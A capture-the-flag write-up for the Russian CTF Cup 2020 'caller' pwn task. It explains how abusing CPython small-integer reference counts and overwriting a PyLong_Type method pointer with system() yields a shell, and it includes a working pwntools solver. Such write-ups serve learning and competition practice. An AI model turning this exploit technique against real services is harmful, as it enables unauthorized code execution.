Russian CTF Cup 2020 — caller
Source code
Full source code is available here: https://github.com/keltecc/ctfcup-2020-quals/tree/main/tasks/pwn/caller
- caller.py
#!/usr/bin/env python3.7
import ctypes
def syscall(number, arguments):
libc = ctypes.CDLL(None)
return libc.syscall(number, *arguments)
def main():
number = input('[?] syscall number: ')
arguments = input('[?] syscall arguments: ').split(' ')
number, arguments = int(number), list(map(int, arguments))
result = syscall(number, arguments)
print(f'[+] result: {result}')
return
if __name__ == '__main__':
main()
Solution
The service allows us to execute an arbitrary system call with the provided arguments using syscall()
function from libc.
In CPython small integers (from -5 to 256) are singletons and usage of these numbers doesn’t allocate new objects:
>>> hex(id(100))
'0xaa7400'
>>> hex(id(101))
'0xaa7420'
>>> hex(id(100 + 1))
'0xaa7420'
>>> hex(id(1000))
'0x7f6664bfbb30'
But every integer object (as any other CPython object) has a reference counter as the first field in the object structure. For example, if id(100) == 0xaa7400
, then the address 0xaa7400
contains the number of references to integer 100.
Then let’s notice that we could provide unlimited count of arguments to syscall()
function, it means that we’re able to use arbitrary number of integers, and it means that we can increment reference counter of these numbers by desired value. For example, if we send 100 number 1000 times, the reference counter of number 100 will be increased by 1000. Using this method we could write arbitrary value at the start of integer object structure.
Now let’s remember that every CPython object has a table with standard methods (such as str()
, add()
and so on), and pointers to these methods are stored in the type structure. For the integers the type object is PyLong_Type
(implementation in CPython repository). It’s important that the challenge prints out the result of the system call, and that result is always integer. Before the number is printed it should be converted from integer to string, for this purpose the special function long_to_decimal_string()
is used (source code). This function accepts the integer as its first argument. The python3.7
binary contains the system()
function, so we could replace the pointer to long_to_decimal_string()
with a pointer to system()
. In order to do this we could use read()
system call and write directly to the PyLong_Type
structure.
Note that the python3.7
binary does not have PIE and contains many default objects in its static memory, so we know all required addresses.
Exploitation
- find the address of
PyLong_Type
structure - find the address of
long_to_decimal_string()
pointer inside thePyLong_Type
structure, let’s call itPyLong_ToString
- find the address of
system()
in PLT - call
read(0, PyLong_ToString, 8)
and overwritelong_to_decimal_string()
withsystem()
- the return value of system call will be 8, so when this number is printed out the function
str(id(8)) -> system(id(8))
will be called - in order to place the
sh
string at theid(8)
address we should create a lot of 8 integers so the reference counter of 8 will be0x6873
- since we can provide unlimited count of
syscall()
arguments (and the unused arguments are ignored) we could pass the required number of 8 as unused aguments
Example solver
#!/usr/bin/env python3.7
import sys
from pwn import remote, p64
from time import sleep
system_plt = 0x421080
PyLong_Type = 0xA25940
PyLong_ToString = PyLong_Type + 17 * 8
def main(io):
count = int.from_bytes(b'sh\x00', 'little') - 38
syscall_number = 0
syscall_arguments = [0, PyLong_ToString, 8]
syscall_arguments += [8] * count
io.sendlineafter(b': ', str(syscall_number).encode())
io.sendlineafter(b': ', ' '.join(map(str, syscall_arguments)).encode())
sleep(1)
io.send(p64(system_plt))
io.interactive()
if __name__ == '__main__':
IP = sys.argv[1] if len(sys.argv) > 1 else '0.0.0.0'
PORT = 7703
with remote(IP, PORT) as io:
main(io)